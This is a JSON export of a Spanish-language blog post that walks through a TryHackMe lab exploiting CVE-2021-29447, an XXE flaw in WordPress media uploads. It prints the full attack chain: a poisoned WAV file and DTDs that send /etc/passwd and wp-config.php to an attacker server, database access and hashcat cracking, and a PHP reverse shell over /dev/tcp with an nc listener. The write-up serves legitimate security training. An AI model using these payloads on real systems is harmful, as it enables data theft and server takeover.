{"id":870,"date":"2021-09-04T01:03:24","date_gmt":"2021-09-03T23:03:24","guid":{"rendered":"https:\/\/www.pinguytaz.net\/?p=870"},"modified":"2021-09-04T01:03:25","modified_gmt":"2021-09-03T23:03:25","slug":"cve-2021-29447-vulnerabilidad-xxe-wordpress-ctf","status":"publish","type":"post","link":"https:\/\/www.pinguytaz.net\/index.php\/2021\/09\/04\/cve-2021-29447-vulnerabilidad-xxe-wordpress-ctf\/","title":{"rendered":"CVE-2021-29447  Vulnerabilidad XXE WordPress  (CTF)"},"content":{"rendered":"\n<p>Esta vulnerabilidad registrada en el <a href=\"https:\/\/www.incibe-cert.es\/alerta-temprana\/vulnerabilidades\/cve-2021-29447\">CERT<\/a> en Abril, afecta a los WordPress anteriores al 5.7.1 y aprovecha el fallo de seguridad de inyecci\u00f3n externa XML en los archivos multimedia.<\/p>\n\n\n\n<p>En este POST describiremos esta vulnerabilidad y como reproducirla, resolviendo la  CTF de TryHackme \u00ab<a href=\"https:\/\/tryhackme.com\/room\/wordpresscve202129447\">WordPress: CVE-2021-29447<\/a>\u00bb la cual cuenta tambi\u00e9n un resumen de la vulnerabilidad.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Decripci\u00f3n CVE-2021-29447<\/h2>\n\n\n\n<p>La vulnerabilidad nos permite el acceso de archivos internos, mediante un ataque XEE de tipo SSRF (Falsificaci\u00f3n de solicitud desde el lado del servidor) que nos permite extraer informaci\u00f3n, poniendo en peligro la confidencialidad del sistema y la obtenci\u00f3n de datos para ataques mayores como se comprobara durante el ataque a la CTF de <a href=\"http:\/\/www.tryHackme.com\">TryHackme<\/a>. <\/p>\n\n\n\n<p>Esta catalogada de grado media, ya que necesitaremos de un usuario y clave que nos permita cargar un archivo multimedia con una carga \u00fatil que nos permita el acceso a los archivos internos, en WordPress el archivo <em>wp-config.php<\/em> nos pondr\u00eda en peligro el sistema por la informaci\u00f3n que contiene este.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Ataque XXE<\/h2>\n\n\n\n<p>Un ataque XXE (XML External Entity) es una inyecci\u00f3n de c\u00f3digo en una aplicaci\u00f3n que analiza datos XML. En el caso que nos ocupa basta con introducir un archivo multimedia, un WAV por ejemplo, con informaci\u00f3n en XML que solicita un acceso URI que permite acceder a ficheros del sistema obteniendo de esta forma informaci\u00f3n de inter\u00e9s.<\/p>\n\n\n\n<p>As\u00ed que bastar\u00eda por ejemplo introducir las siguientes lineas XML en nuestro archivo multimedia para que esta recoja informaci\u00f3n del fichero de password.<\/p>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-28f84493 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:100%\">\n<pre class=\"wp-block-code\"><code>&lt;!DOCTYPE ANY&#91;&lt;!ENTITY % remote SYSTEM 'http:\/\/IP:PUERTO\/Payload.dtd'&gt;%remote;%init;%trick;]&gt;<\/code><\/pre>\n<\/div>\n<\/div>\n\n\n\n<p>Esto solicita una DTD (Payload.dtd) a nuestra maquina atacante la cual tendr\u00e1 la carga util que solicitara la informaci\u00f3n del fichero de claves.<\/p>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-28f84493 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:100%\">\n<pre class=\"wp-block-code\"><code>\/\/ Lee el fichero \/etc\/passwd\n<a href=\"php:\/\/filter\/zlib.deflate\/read=convert.base64-encode\/resource\">&lt;!E<\/a>NTITY % file SYSTEM \"php:\/\/filter\/zlib.deflate\/read=convert.base64-encode\/resource=\/etc\/passwd\"&gt;\n\/\/  Enviamos el contenido a nuestro servidor\n&lt;!ENTITY % init \"&lt;!ENTITY % trick SYSTEM 'http:\/\/YOURSERVERIP:PORT\/?p=%file;'&gt;\" &gt;<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Resoluci\u00f3n CTF TryaHackMe CVE-2021-29447<\/h2>\n\n\n\n<p>Una vez tenemos arrancada la maquina con la CTF \u00ab<a href=\"https:\/\/tryhackme.com\/room\/wordpresscve202129447\">WordPress: CVE-2021-29447<\/a>\u00bb y procedemos a realizar primero una enumeraci\u00f3n de puertos, con nmap por ejemplo, localizando:<\/p>\n\n\n\n<p>22\/tcp open ssh<br>80\/tcp open http<br>3306\/tcp open mysql<\/p>\n\n\n\n<p>Nos interesa en este primer momento el 80 que es donde tenemos instalado el WordPress, aunque los verificamos as\u00ed como la versi\u00f3n de este para confirmar que puede ser atacado con esta vulnerabilidad.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>whatweb http:\/\/IP_MaquinaVictima<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"912\" height=\"82\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image.png\" alt=\"\" class=\"wp-image-871\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image.png 912w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-300x27.png 300w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-768x69.png 768w\" sizes=\"auto, (max-width: 912px) 100vw, 912px\" \/><figcaption>Resultado whatweb<\/figcaption><\/figure>\n<\/div>\n<\/div>\n\n\n\n<p>Vemos que es una versi\u00f3n inferior a 5.7.1 por lo tanto ejecutaremos esta vulnerabilidad, para esto deberemos tener acceso a cargar fichero multimedia, en nuestro caso tenemos un usuario y clave (test-corp \/ test) que nos da la CTF <\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-1.png\" alt=\"\" class=\"wp-image-872\" width=\"129\" height=\"76\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-1.png 352w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-1-300x177.png 300w\" sizes=\"auto, (max-width: 129px) 100vw, 129px\" \/><\/figure><\/div>\n\n\n\n<p>Verificamos si este tiene acceso a cargar archivos multimedia, entrando en la parte administrativa \u00abhttp:IP\/wp-admin\u00bb y vamos a \u00abMedia\u00bb comprobando que si podemos cargar archivos multimedia.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>Lo primero sera crear un archivo WAV con la solicitud al DTD de nuestra maquina de ataque, junto al DTD de payload que solicitara el archivo \u00ab\/etc\/passwd\u00bb en un primer momento para confirmar la vulnerabilidad.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Creando WAV envenenado<\/h2>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-28f84493 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:100%\">\n<pre class=\"wp-block-code\"><code>echo -en 'RIFF\\x85\\x00\\x00\\x00WAVEiXML\\x79\\x00\\x00\\x00&lt;?xml version=\"1.0\"?&gt;&lt;!DOCTYPE ANY&#91;&lt;!ENTITY % remote SYSTEM '\"'\"'http:\/\/IP_ATACANTE:PUERTO\/MiEvil.dtd'\"'\"'&gt;%remote;%init;%trick;]&gt;\\x00' &gt; <strong>mipayload.wav<\/strong><\/code><\/pre>\n<\/div>\n<\/div>\n\n\n\n<p>Formato del archivo WAV que creamos<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>4 bytes  \u00abRIFF\u00bb<\/li><li>4 bytes con la longitud del archivo menos 8 (en nuestro caso 0x85) se quitan estos primeros 8 bytes.<\/li><li>4 bytes  Formato del fichero \u00abWAVE\u00bb<\/li><li>4 bytes tipo de datos, lo normal es \u00abfmt\u00bb pero en nuestro caso \u00abiXML\u00bb<\/li><li>4 bytes la longitud del fichero menos 20 bytes, quitamos estos bytes<\/li><li>Contenido XML que solicita DTD<\/li><li>0x00<\/li><\/ul>\n\n\n\n<p><\/p>\n\n\n\n<p>Ahora crearemos la DTD que indica el archivo a volcar y que en un principio sera el archivo de grupos, para confirmar el funcionamiento de nuestro payload.<\/p>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-28f84493 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:100%\">\n<pre class=\"wp-block-code\"><code>&lt;!ENTITY % file SYSTEM \"php:\/\/filter\/read=convert.base64-encode\/resource=\/etc\/group\"&gt;\n&lt;!ENTITY % init \"&lt;!ENTITY &amp;#x25; trick SYSTEM 'http:\/\/<meta http-equiv=\"content-type\" content=\"text\/html; charset=utf-8\">IP_ATACANTE:PUERTO\/?p=%file;'&gt;\" &gt;\n\n\/\/Otra forma lleg\u00e1ndonos comprimido\n&lt;!ENTITY % file SYSTEM \"php:\/\/filter\/zlib.deflate\/read=convert.base64-encode\/resource=\/etc\/passwd\"&gt;\n&lt;!ENTITY % init \"&lt;!ENTITY &amp;#x25; trick SYSTEM 'http:\/\/IP_ATACANTE:PUERTO\/?p=%file;'&gt;\" &gt;\n\/\/ La visualizacion en este caso es con un fichero PHP \n     \/\/ &lt;?php echo zlib_decode(base64_decode('BASE64 RECIBIDO0')); ?&gt;  \n\/\/ php &lt;fichero.php&gt;   Asi descomprime y decodifica.<\/code><\/pre>\n<\/div>\n<\/div>\n\n\n\n<p>Ejecutamos servidor web del DTD y que recoger\u00e1 el contenido de los ficheros que solicitemos.<\/p>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-28f84493 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:100%\">\n<pre class=\"wp-block-code\"><code>python2 -m SimpleHTTPServer PUERTO<\/code><\/pre>\n<\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-2.png\" alt=\"\" class=\"wp-image-875\" width=\"557\" height=\"129\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-2.png 825w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-2-300x69.png 300w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-2-768x178.png 768w\" sizes=\"auto, (max-width: 557px) 100vw, 557px\" \/><\/figure><\/div>\n\n\n\n<p>Cargamos el fichero WAV en nuestro wordpress, <em>mipayload.wav<\/em>, y este solicitara el DTD que le pedira el grupo de usuarios. Si todo es correcto nos retornara un resultado despu\u00e9s del GET que deberemos decodifica con la siguiente instrucci\u00f3n.<\/p>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-28f84493 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:100%\">\n<pre class=\"wp-block-code\"><code>echo \"CODIGO BASE 64 RETORNADO\" | base64 -d<\/code><\/pre>\n<\/div>\n<\/div>\n\n\n\n<p>Una vez confirmemos que nos funciona el payload comenzamos a resolver la <a href=\"https:\/\/tryhackme.com\/room\/wordpresscve202129447\">CTF<\/a>.<\/p>\n\n\n\n<p> <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Resolviendo la CTF<\/h2>\n\n\n\n<p>La primera pregunta es \u00abNombre de la Base de datos WordPress\u00bb, para esto recogeremos el fichero de configuraci\u00f3n \u00ab<em>wp-config.php<\/em>\u00bb  que normalmente lo encontraremos en \u00ab\/var\/www\/html\u00bb, as\u00ed que modificamos el DTD para la ocasi\u00f3n<\/p>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-28f84493 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:100%\">\n<pre class=\"wp-block-code\"><code>\/\/ Seg\u00fan la estructura de WordPress el WAV se grabara en un directorio que esta en el raiz, por eso salimos un nivel del directorio.\n&lt;!ENTITY % file SYSTEM \"php:\/\/filter\/read=convert.base64-encode\/resource=..\/wp-config.php\"&gt;\n&lt;!ENTITY % init \"&lt;!ENTITY &amp;#x25; trick SYSTEM 'http:\/\/IP_ATACANTE:PUERTO\/?p=%file;'&gt;\" &gt;<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"422\" height=\"271\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-3.png\" alt=\"\" class=\"wp-image-879\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-3.png 422w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-3-300x193.png 300w\" sizes=\"auto, (max-width: 422px) 100vw, 422px\" \/><\/figure><\/div>\n\n\n\n<p><\/p>\n\n\n\n<p>Volvemos a cargar nuestro WAV para este nuevo DTD y decodificamos el resultado que deber\u00e1 ser el fichero wp-config.php en el cual encontraremos mucha informaci\u00f3n.<\/p>\n\n\n\n<p>Tendremos la informaci\u00f3n de las primeras preguntas: <strong>nombre base de datos, usuario y clave de la base de datos<\/strong>. Tambi\u00e9n se pregunta el motor de base de datos utilizado, que en el fichero de configuraci\u00f3n nos confirma que es el visto con la herramienta \u00ab<em>nmap<\/em>\u00bb del principio.<\/p>\n\n\n\n<p>La <strong>versi\u00f3n de Base de Datos<\/strong> y el <strong>puerto<\/strong> utilizado se puede ver con el <em>nmap<\/em> que se ejecuto al principio.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"148\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-4.png\" alt=\"\" class=\"wp-image-881\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-4.png 624w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-4-300x71.png 300w\" sizes=\"auto, (max-width: 624px) 100vw, 624px\" \/><\/figure>\n\n\n\n<p>Despu\u00e9s nos pregunta la<strong> contrase\u00f1a encriptada del ID=1 de usuarios de wordpress<\/strong>, gracias a la exfiltracion de datos del fichero wp-config.php podemos acceder a la base de datos y como el puerto esta publicado al exterior no tenemos que realizar ninguna accion adiciona para entrar en ellas<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mysql -h IP_MAQUINA_ATACADA  -u &lt;usuario obtenido anteriormente -p\n\/\/ Nos pedir\u00e1 la clave y al introducirla ya estamos dentro<\/code><\/pre>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-5.png\" alt=\"\" class=\"wp-image-882\" width=\"381\" height=\"234\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-5.png 911w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-5-300x184.png 300w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-5-768x472.png 768w\" sizes=\"auto, (max-width: 381px) 100vw, 381px\" \/><\/figure><\/div>\n\n\n\n<p>Una vez en el motor de la base de datos:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Seleccionaremos la base de datos que figura en el fichero wp-config.php, le\u00eddo anteriormente  con el comando \u00abuse &lt;BBDD&gt;;\u00bb <\/li><li>Miramos la tablas de la Base de Datos ya que en WordPress el prefijo cambia seg\u00fan se configure en <em>wp-config.php<\/em>, con el comando \u00abshow tables;\u00bb<\/li><li>Realizamos un select de esa tabla y el ID=1.<\/li><\/ol>\n\n\n\n<p>Con esto tendremos la clave cifrada de este usuario<\/p>\n\n\n\n<p>La siguiente pregunta es descifrar esta clave, para esto usaremos \u00ab<em>hashcat<\/em>\u00bb aunque podr\u00edamos usar otras herramientas como \u00ab<em>john<\/em>\u00ab, pero esta es la que me suele gustar.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-6.png\" alt=\"\" class=\"wp-image-887\" width=\"279\" height=\"110\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-6.png 532w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-6-300x118.png 300w\" sizes=\"auto, (max-width: 279px) 100vw, 279px\" \/><\/figure><\/div>\n\n\n\n<p>Lo primero es identificar el ID, para esto buscamos un modelo en la <a href=\"https:\/\/hashcat.net\/wiki\/doku.php?id=example_hashes\">pagina de ejemplos de Hash de HashCat<\/a>.<\/p>\n\n\n\n<p>Buscando en ella el patron \u00ab$P$\u00bb que es como empieza nuestro Hash encontramos uno que ademas nos indica que es de WordPress, este es el Hash-Mode 400.<\/p>\n\n\n\n<p>Copiamos nuestro Hash a descifrar en un fichero llamado Hash.txt y usando el diccionario rockyou.txt que tenemos en uno de nuestros directorios por tener muchas de las claves de la CTFs ejecutamos<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>hashcat -m 400 -a 0 Hash.txt ..\/Diccionarios\/rockyou.txt<\/code><\/pre>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"485\" height=\"242\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-7.png\" alt=\"\" class=\"wp-image-888\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-7.png 485w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-7-300x150.png 300w\" sizes=\"auto, (max-width: 485px) 100vw, 485px\" \/><\/figure><\/div>\n\n\n\n<p>Despu\u00e9s de un rato obtenemos el resultado como se puede ver en la imagen.<\/p>\n\n\n\n<p>Y llegamos a la ultima pregunta que consiste en comprometer la maquina y localizar la bandera \u00ab<em>flag.txt<\/em>\u00ab<\/p>\n\n\n\n<p>Para esto crearemos un Shell inverso ya que disponemos de un nuevo usuario que es administrador y podemos modificar as\u00ed los PHP para poner nuestro Shell-Inverso, el usuario en cuesti\u00f3n es \u00abcorp-001\u00bb como vimos al realizar el select de la Base de datos y la clave la obtenida ultimamente.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-8.png\" alt=\"\" class=\"wp-image-889\" width=\"466\" height=\"74\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-8.png 916w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-8-300x48.png 300w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-8-768x122.png 768w\" sizes=\"auto, (max-width: 466px) 100vw, 466px\" \/><\/figure><\/div>\n\n\n\n<p>Accedemos a la parte de administraci\u00f3n ahora con este usuario y clave. Lo primero que se ve es como el propio wordpress recomienda actualizar de versi\u00f3n.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-10.png\" alt=\"\" class=\"wp-image-891\" width=\"549\" height=\"111\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-10.png 780w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-10-300x61.png 300w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-10-768x156.png 768w\" sizes=\"auto, (max-width: 549px) 100vw, 549px\" \/><\/figure><\/div>\n\n\n\n<p>Accedemos al editor de temas para cargar uno nuevo, que sera nuestro fichero PHP con el Shell-Inverso. Nos da un error, logico no es un paquete de tema, pero no importa porque el ficherro lo podemos encontrar en medias.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ contenido Shell Inverso\n&lt;?php\n exec(\"\/bin\/bash -c 'bash -i >&amp; \/dev\/tcp\/IP_Maqina atacante\/9289 0>&amp;1'\");\n?>\n<\/code><\/pre>\n<\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-11.png\" alt=\"\" class=\"wp-image-892\" width=\"256\" height=\"177\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-11.png 410w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-11-300x206.png 300w\" sizes=\"auto, (max-width: 256px) 100vw, 256px\" \/><\/figure><\/div>\n\n\n\n<p>Con el shell inverso instalado como se puede ver en los archivos de medios, solo nos queda ejecutarlo, poniendo en nuestra maquina atacante antes una escucha \u00abnc -nlvp 9289\u00bb.<\/p>\n\n\n\n<p>Los archivos de medios se guardan en \u00abhttp:\/\/IP\/wp-content\/uploads\u00bb y vamos navegando por los directorios seg\u00fan la fecha de carga hasta encontrar nuestro fichero \u00abrev.php\u00bb, momento en que pinchamos sobre el y se ejecutara el shell inverso.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"590\" height=\"104\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-12.png\" alt=\"\" class=\"wp-image-893\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-12.png 590w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-12-300x53.png 300w\" sizes=\"auto, (max-width: 590px) 100vw, 590px\" \/><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-13.png\" alt=\"\" class=\"wp-image-894\" width=\"527\" height=\"147\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-13.png 701w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2021\/09\/image-13-300x84.png 300w\" sizes=\"auto, (max-width: 527px) 100vw, 527px\" \/><\/figure><\/div>\n\n\n\n<p>Ya estamos en la maquina ahora buscamos el archivo \u00abflag.txt\u00bb con el comando <em>find<\/em>, una vez encontrado realizamos un <em>cat<\/em> del fichero y si tenemos suerte y tenemos permisos, como es el caso, obtendremos la bandera.<\/p>\n\n\n\n<p>Y con esto terminamos la resoluci\u00f3n de esta CTF que nos ha ense\u00f1ado como atacar la vulnerabilidad CVE-2021-29447 entre otras cosa.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" src=\"https:\/\/tryhackme-badges.s3.amazonaws.com\/emb0scad0.png\" alt=\"\"\/><\/figure><\/div>\n","protected":false},"excerpt":{"rendered":"<p>Esta vulnerabilidad registrada en el CERT en Abril, afecta a los WordPress anteriores al 5.7.1 y aprovecha el fallo de seguridad de inyecci\u00f3n externa XML en los archivos multimedia. En este POST describiremos esta vulnerabilidad y como reproducirla, resolviendo la CTF de TryHackme \u00abWordPress: CVE-2021-29447\u00bb la cual cuenta tambi\u00e9n un resumen de la vulnerabilidad. Decripci\u00f3n [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":896,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-container-style":"default","site-container-layout":"default","site-sidebar-layout":"default","disable-article-header":"default","disable-site-header":"default","disable-site-footer":"default","disable-content-area-spacing":"default","footnotes":""},"categories":[110,16,172],"tags":[173,135,175,90,174],"class_list":["post-870","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-seguridad","category-vulnerabilidades","tag-cert","tag-ctf","tag-cve","tag-wordpress","tag-xxe"],"_links":{"self":[{"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/posts\/870","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/comments?post=870"}],"version-history":[{"count":15,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/posts\/870\/revisions"}],"predecessor-version":[{"id":900,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/posts\/870\/revisions\/900"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/media\/896"}],"wp:attachment":[{"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/media?parent=870"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/categories?post=870"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/tags?post=870"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}